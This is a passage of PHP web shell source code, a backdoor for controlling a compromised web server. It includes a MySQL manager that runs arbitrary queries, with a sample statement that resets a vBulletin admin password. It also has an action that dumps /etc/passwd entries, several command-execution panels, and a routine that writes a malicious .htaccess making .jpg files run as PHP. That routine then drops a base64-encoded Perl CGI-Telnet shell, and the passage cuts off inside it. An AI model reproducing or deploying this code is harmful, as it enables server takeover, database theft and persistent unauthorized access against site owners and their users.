789 $valstr .= $tmp . "'" . addslashes($val) . "'";
790 $tmp = ',';
791 }
792 }
793 if ($keystr && $valstr) {
794 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
795 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
796 }
797 }
798 if ($update && $insertsql && $base64) {
799 $valstr = $tmp = '';
800 foreach ($insertsql as $key => $val) {
801 $valstr .= $tmp . $key . "='" . addslashes($val) . "'";
802 $tmp = ',';
803 }
804 if ($valstr) {
805 $where = base64_decode($base64);
806 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
807 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
808 }
809 }
810 if ($doing == 'del' && $base64) {
811 $where = base64_decode($base64);
812 $delete_sql = "DELETE FROM $tablename WHERE $where";
813 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
814 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
815 }
816 if ($tablename && $doing == 'drop') {
817 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
818 if (q("DROP TABLE $tablename")) {
819 m('Drop table of success');
820 $tablename = '';
821 } else {
822 m(mysql_error());
823 }
824 }
825 $charsets = array(
826 '' => 'Default',
827 'gbk' => 'GBK',
828 'big5' => 'Big5',
829 'utf8' => 'UTF-8',
830 'latin1' => 'Latin1'
831 );
832 formhead(array(
833 'title' => 'MYSQL Manager'
834 ));
835 makehide('action', 'sqladmin');
836 p('<p>');
837 p('DBHost:');
838 makeinput(array(
839 'name' => 'dbhost',
840 'size' => 20,
841 'value' => $dbhost
842 ));
843 p(':');
844 makeinput(array(
845 'name' => 'dbport',
846 'size' => 4,
847 'value' => $dbport
848 ));
849 p('DBUser:');
850 makeinput(array(
851 'name' => 'dbuser',
852 'size' => 15,
853 'value' => $dbuser
854 ));
855 p('DBPass:');
856 makeinput(array(
857 'name' => 'dbpass',
858 'size' => 15,
859 'value' => $dbpass
860 ));
861 p('DBCharset:');
862 makeselect(array(
863 'name' => 'charset',
864 'option' => $charsets,
865 'selected' => $charset
866 ));
867 makeinput(array(
868 'name' => 'connect',
869 'value' => 'Connect',
870 'type' => 'submit',
871 'class' => 'bt'
872 ));
873 p('</p>');
874 formfoot();
875?><script type="text/javascript">
876function editrecord(action, base64, tablename){
877 if (action == 'del') {
878 if (!confirm('Is or isn\'t deletion record?')) return;
879 }
880 $('recordlist').doing.value=action;
881 $('recordlist').base64.value=base64;
882 $('recordlist').tablename.value=tablename;
883 $('recordlist').submit();
884}
885function moddbname(dbname) {
886 if(!dbname) return;
887 $('setdbname').dbname.value=dbname;
888 $('setdbname').submit();
889}
890function settable(tablename,doing,page) {
891 if(!tablename) return;
892 if (doing) {
893 $('settable').doing.value=doing;
894 }
895 if (page) {
896 $('settable').page.value=page;
897 }
898 $('settable').tablename.value=tablename;
899 $('settable').submit();
900}
901</script>
902<?php
903 formhead(array(
904 'name' => 'recordlist'
905 ));
906 makehide('doing');
907 makehide('action', 'sqladmin');
908 makehide('base64');
909 makehide('tablename');
910 p($dbform);
911 formfoot();
912 formhead(array(
913 'name' => 'setdbname'
914 ));
915 makehide('action', 'sqladmin');
916 p($dbform);
917 if (!$dbname) {
918 makehide('dbname');
919 }
920 formfoot();
921 formhead(array(
922 'name' => 'settable'
923 ));
924 makehide('action', 'sqladmin');
925 p($dbform);
926 makehide('tablename');
927 makehide('page', $page);
928 makehide('doing');
929 formfoot();
930 $cachetables = array();
931 $pagenum = 30;
932 $page = intval($page);
933 if ($page) {
934 $start_limit = ($page - 1) * $pagenum;
935 } else {
936 $start_limit = 0;
937 $page = 1;
938 }
939 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
940 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
941 // get mysql server
942 $mysqlver = mysql_get_server_info();
943 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
944 $highver = $mysqlver > '4.1' ? 1 : 0;
945
946 // Show database
947 $query = q("SHOW DATABASES");
948 $dbs = array();
949 $dbs[] = '-- Select a database --';
950 while ($db = mysql_fetch_array($query)) {
951 $dbs[$db['Database']] = $db['Database'];
952 }
953 makeselect(array(
954 'title' => 'Please select a database:',
955 'name' => 'db[]',
956 'option' => $dbs,
957 'selected' => $dbname,
958 'onchange' => 'moddbname(this.options[this.selectedIndex].value)',
959 'newline' => 1
960 ));
961 $tabledb = array();
962 if ($dbname) {
963 p('<p>');
964 p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
965 if ($tablename) {
966 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
967 }
968 p('</p>');
969 mysql_select_db($dbname);
970
971 $getnumsql = '';
972 $runquery = 0;
973 if ($sql_query) {
974 $runquery = 1;
975 }
976 $allowedit = 0;
977 if ($tablename && !$sql_query) {
978 $sql_query = "SELECT * FROM $tablename";
979 $getnumsql = $sql_query;
980 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
981 $allowedit = 1;
982 }
983 p('<form action="' . $self . '" method="POST">');
984 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>KyoBin</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
985 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
986 makehide('tablename', $tablename);
987 makehide('action', 'sqladmin');
988 p($dbform);
989 p('</form>');
990 if ($tablename || ($runquery && $sql_query)) {
991 if ($doing == 'structure') {
992 $result = q("SHOW COLUMNS FROM $tablename");
993 $rowdb = array();
994 while ($row = mysql_fetch_array($result)) {
995 $rowdb[] = $row;
996 }
997 p('<table border="0" cellpadding="3" cellspacing="0">');
998 p('<tr class="head">');
999 p('<td>Field</td>');
1000 p('<td>Type</td>');
1001 p('<td>Null</td>');
1002 p('<td>Key</td>');
1003 p('<td>Default</td>');
1004 p('<td>Extra</td>');
1005 p('</tr>');
1006 foreach ($rowdb as $row) {
1007 $thisbg = bg();
1008 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1009 p('<td>' . $row['Field'] . '</td>');
1010 p('<td>' . $row['Type'] . '</td>');
1011 p('<td>' . $row['Null'] . ' </td>');
1012 p('<td>' . $row['Key'] . ' </td>');
1013 p('<td>' . $row['Default'] . ' </td>');
1014 p('<td>' . $row['Extra'] . ' </td>');
1015 p('</tr>');
1016 }
1017 tbfoot();
1018 } elseif ($doing == 'insert' || $doing == 'edit') {
1019 $result = q('SHOW COLUMNS FROM ' . $tablename);
1020 while ($row = mysql_fetch_array($result)) {
1021 $rowdb[] = $row;
1022 }
1023 $rs = array();
1024 if ($doing == 'insert') {
1025 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
1026 } else {
1027 p('<h2>Update record in ' . $tablename . ' table »</h2>');
1028 $where = base64_decode($base64);
1029 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1030 $rs = mysql_fetch_array($result);
1031 }
1032 p('<form method="post" action="' . $self . '">');
1033 p($dbform);
1034 makehide('action', 'sqladmin');
1035 makehide('tablename', $tablename);
1036 p('<table border="0" cellpadding="3" cellspacing="0">');
1037 foreach ($rowdb as $row) {
1038 if ($rs[$row['Field']]) {
1039 $value = htmlspecialchars($rs[$row['Field']]);
1040 } else {
1041 $value = '';
1042 }
1043 $thisbg = bg();
1044 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1045 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
1046 }
1047 if ($doing == 'insert') {
1048 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1049 } else {
1050 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1051 makehide('base64', $base64);
1052 }
1053 p('</table></form>');
1054 } else {
1055 $querys = @explode(';', $sql_query);
1056 foreach ($querys as $num => $query) {
1057 if ($query) {
1058 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
1059 switch (qy($query)) {
1060 case 0:
1061 p('<h2>Error : ' . mysql_error() . '</h2>');
1062 break;
1063 case 1:
1064 if (strtolower(substr($query, 0, 13)) == 'select * from') {
1065 $allowedit = 1;
1066 }
1067 if ($getnumsql) {
1068 $tatol = mysql_num_rows(q($getnumsql));
1069 $multipage = multi($tatol, $pagenum, $page, $tablename);
1070 }
1071 if (!$tablename) {
1072 $sql_line = str_replace(array(
1073 "\r",
1074 "\n",
1075 "\t"
1076 ), array(
1077 ' ',
1078 ' ',
1079 ' '
1080 ), trim(htmlspecialchars($query)));
1081 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1082 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
1083 $tablename = $matches[1][0];
1084 }
1085 $result = q($query);
1086 p($multipage);
1087 p('<table border="0" cellpadding="3" cellspacing="0">');
1088 p('<tr class="head">');
1089 if ($allowedit)
1090 p('<td>Action</td>');
1091 $fieldnum = @mysql_num_fields($result);
1092 for ($i = 0; $i < $fieldnum; $i++) {
1093 $name = @mysql_field_name($result, $i);
1094 $type = @mysql_field_type($result, $i);
1095 $len = @mysql_field_len($result, $i);
1096 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1097 }
1098 p('</tr>');
1099 while ($mn = @mysql_fetch_assoc($result)) {
1100 $thisbg = bg();
1101 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1102 $where = $tmp = $b1 = '';
1103 foreach ($mn as $key => $inside) {
1104 if ($inside) {
1105 $where .= $tmp . $key . "='" . addslashes($inside) . "'";
1106 $tmp = ' AND ';
1107 }
1108 $b1 .= '<td nowrap>' . html_clean($inside) . ' </td>';
1109 }
1110 $where = base64_encode($where);
1111 if ($allowedit)
1112 p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
1113 p($b1);
1114 p('</tr>');
1115 unset($b1);
1116 }
1117 tbfoot();
1118 p($multipage);
1119 break;
1120 case 2:
1121 $ar = mysql_affected_rows();
1122 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
1123 break;
1124 }
1125 }
1126 }
1127 }
1128 } else {
1129 $query = q("SHOW TABLE STATUS");
1130 $table_num = $table_rows = $data_size = 0;
1131 $tabledb = array();
1132 while ($table = mysql_fetch_array($query)) {
1133 $data_size = $data_size + $table['Data_length'];
1134 $table_rows = $table_rows + $table['Rows'];
1135 $table['Data_length'] = sizecount($table['Data_length']);
1136 $table_num++;
1137 $tabledb[] = $table;
1138 }
1139 $data_size = sizecount($data_size);
1140 unset($table);
1141 p('<table border="0" cellpadding="0" cellspacing="0">');
1142 p('<form action="' . $self . '" method="POST">');
1143 makehide('action', 'sqladmin');
1144 p($dbform);
1145 p('<tr class="head">');
1146 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1147 p('<td>Name</td>');
1148 p('<td>Rows</td>');
1149 p('<td>Data_length</td>');
1150 p('<td>Create_time</td>');
1151 p('<td>Update_time</td>');
1152 if ($highver) {
1153 p('<td>Engine</td>');
1154 p('<td>Collation</td>');
1155 }
1156 p('</tr>');
1157 foreach ($tabledb as $key => $table) {
1158 $thisbg = bg();
1159 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1160 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
1161 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1162 p('<td>' . $table['Rows'] . '</td>');
1163 p('<td>' . $table['Data_length'] . '</td>');
1164 p('<td>' . $table['Create_time'] . '</td>');
1165 p('<td>' . $table['Update_time'] . '</td>');
1166 if ($highver) {
1167 p('<td>' . $table['Engine'] . '</td>');
1168 p('<td>' . $table['Collation'] . '</td>');
1169 }
1170 p('</tr>');
1171 }
1172 p('<tr class=fout>');
1173 p('<td> </td>');
1174 p('<td>Total tables: ' . $table_num . '</td>');
1175 p('<td>' . $table_rows . '</td>');
1176 p('<td>' . $data_size . '</td>');
1177 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1178 p('</tr>');
1179
1180 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1181 makehide('doing', 'backupmysql');
1182 formfoot();
1183 p("</table>");
1184 fr($query);
1185 }
1186 }
1187 }
1188 tbfoot();
1189 @mysql_close();
1190} elseif ($action == 'etcpwd') {
1191 formhead(array(
1192 'title' => 'Get /etc/passwd'
1193 ));
1194 makehide('action', 'etcpwd');
1195 makehide('dir', $nowpath);
1196 $i = 0;
1197 echo "<p><br><textarea class=\area\ id=\phpcodexxx\ name=\phpcodexxx\ cols=\100\ rows=\25\>";
1198 while ($i < 60000) {
1199 $line = posix_getpwuid($i);
1200 if (!empty($line)) {
1201 while (list($key, $vba_etcpwd) = each($line)) {
1202 echo "" . $vba_etcpwd . "
1203";
1204 break;
1205 }
1206 }
1207 $i++;
1208 }
1209 echo "</textarea></p>";
1210 formfoot();
1211} elseif ($action == 'command') {
1212 if (IS_WIN && IS_COM) {
1213 if ($program && $parameter) {
1214 $shell = new COM('Shell.Application');
1215 $a = $shell->ShellExecute($program, $parameter);
1216 m('Program run has ' . (!$a ? 'success' : 'fail'));
1217 }
1218 !$program && $program = 'c:\indows\ystem32\md.exe';
1219 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1220 formhead(array(
1221 'title' => 'Execute Program'
1222 ));
1223 makehide('action', 'shell');
1224 makeinput(array(
1225 'title' => 'Program',
1226 'name' => 'program',
1227 'value' => $program,
1228 'newline' => 1
1229 ));
1230 p('<p>');
1231 makeinput(array(
1232 'title' => 'Parameter',
1233 'name' => 'parameter',
1234 'value' => $parameter
1235 ));
1236 makeinput(array(
1237 'name' => 'submit',
1238 'class' => 'bt',
1239 'type' => 'submit',
1240 'value' => 'Execute'
1241 ));
1242 p('</p>');
1243 formfoot();
1244 }
1245 formhead(array(
1246 'title' => 'Execute Command'
1247 ));
1248 makehide('action', 'shell');
1249 if (IS_WIN && IS_COM) {
1250 $execfuncdb = array(
1251 'phpfunc' => 'phpfunc',
1252 'wscript' => 'wscript',
1253 'proc_open' => 'proc_open'
1254 );
1255 makeselect(array(
1256 'title' => 'Use:',
1257 'name' => 'execfunc',
1258 'option' => $execfuncdb,
1259 'selected' => $execfunc,
1260 'newline' => 1
1261 ));
1262 }
1263 p('<p>');
1264 makeinput(array(
1265 'title' => 'Command',
1266 'name' => 'command',
1267 'value' => $command
1268 ));
1269 makeinput(array(
1270 'name' => 'submit',
1271 'class' => 'bt',
1272 'type' => 'submit',
1273 'value' => 'Execute'
1274 ));
1275 p('</p>');
1276 formfoot();
1277 if ($command) {
1278 p('<hr width="100%" noshade /><pre>');
1279 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1280 $wsh = new COM('WScript.shell');
1281 $exec = $wsh->exec('cmd.exe /c ' . $command);
1282 $stdout = $exec->StdOut();
1283 $stroutput = $stdout->ReadAll();
1284 echo $stroutput;
1285 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1286 $descriptorspec = array(
1287 0 => array(
1288 'pipe',
1289 'r'
1290 ),
1291 1 => array(
1292 'pipe',
1293 'w'
1294 ),
1295 2 => array(
1296 'pipe',
1297 'w'
1298 )
1299 );
1300 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1301 if (is_resource($process)) {
1302 fwrite($pipes[0], $command . "
1303");
1304 fwrite($pipes[0], "exit
1305");
1306 fclose($pipes[0]);
1307 while (!feof($pipes[1])) {
1308 echo fgets($pipes[1], 1024);
1309 }
1310 fclose($pipes[1]);
1311 while (!feof($pipes[2])) {
1312 echo fgets($pipes[2], 1024);
1313 }
1314 fclose($pipes[2]);
1315 proc_close($process);
1316 }
1317 } else {
1318 echo (execute($command));
1319 }
1320 p('</pre>');
1321 }
1322} elseif ($action == 'error.log') {
1323 mkdir('error', 0755);
1324 chdir('error');
1325 $kokdosya = ".htaccess";
1326 $dosya_adi = "$kokdosya";
1327 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1328 $metin = "Options +FollowSymLinks +Indexes
1329DirectoryIndex default.html
1330## START ##
1331Options +ExecCGI
1332AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1333AddType application/x-httpd-php .jpg
1334RewriteEngine on
1335RewriteRule (.*)\war$ .log
1336## END ##";
1337 fwrite($dosya, $metin);
1338 fclose($dosya);
1339 $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+S3ltIExqbms8L2ZvbnQ+IjsKCiRQYXNzd29yZCA9ICJ4eHgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfWVsc2V7CgkJcmV0dXJuIDA7Cgl9Cn0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguCgokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxMzA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGEKCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQoJewoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87CgkJJEhlYWRlciA9ICRgOwoJCSRCb2R5ID0gJCc7CiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUKCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsKCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IAoJCSRpbnsnZid9ID0gJDE7IAoJCSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsKCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOwoJCQkka2V5ID0gJDE7CgkJCSR2YWwgPSAkJzsKCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpCgl7CgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOwoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikKCQl7CgkJCSRpblskaV0gPX4gcy9cKy8gL2c7CgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOwoJCQkkaW57JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEVuY29kZURpcgp7CglteSAkZGlyID0gc2hpZnQ7CgkkZGlyID0gdHJpbShlbmNvZGVfYmFzZTY0KCRkaXIpKTsKCSRkaXIgPX4gcy8oXHJ8XG4pLy87CglyZXR1cm4gJGRpcjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGlkID0gYGlkYCBpZighJFdpbk5UKTsKCW15ICRpbmZvID0gYHVuYW1lIC1zIC1uIC1yIC1pYDsKCXByaW50ICJDb250ZW50LXR5cGU6IH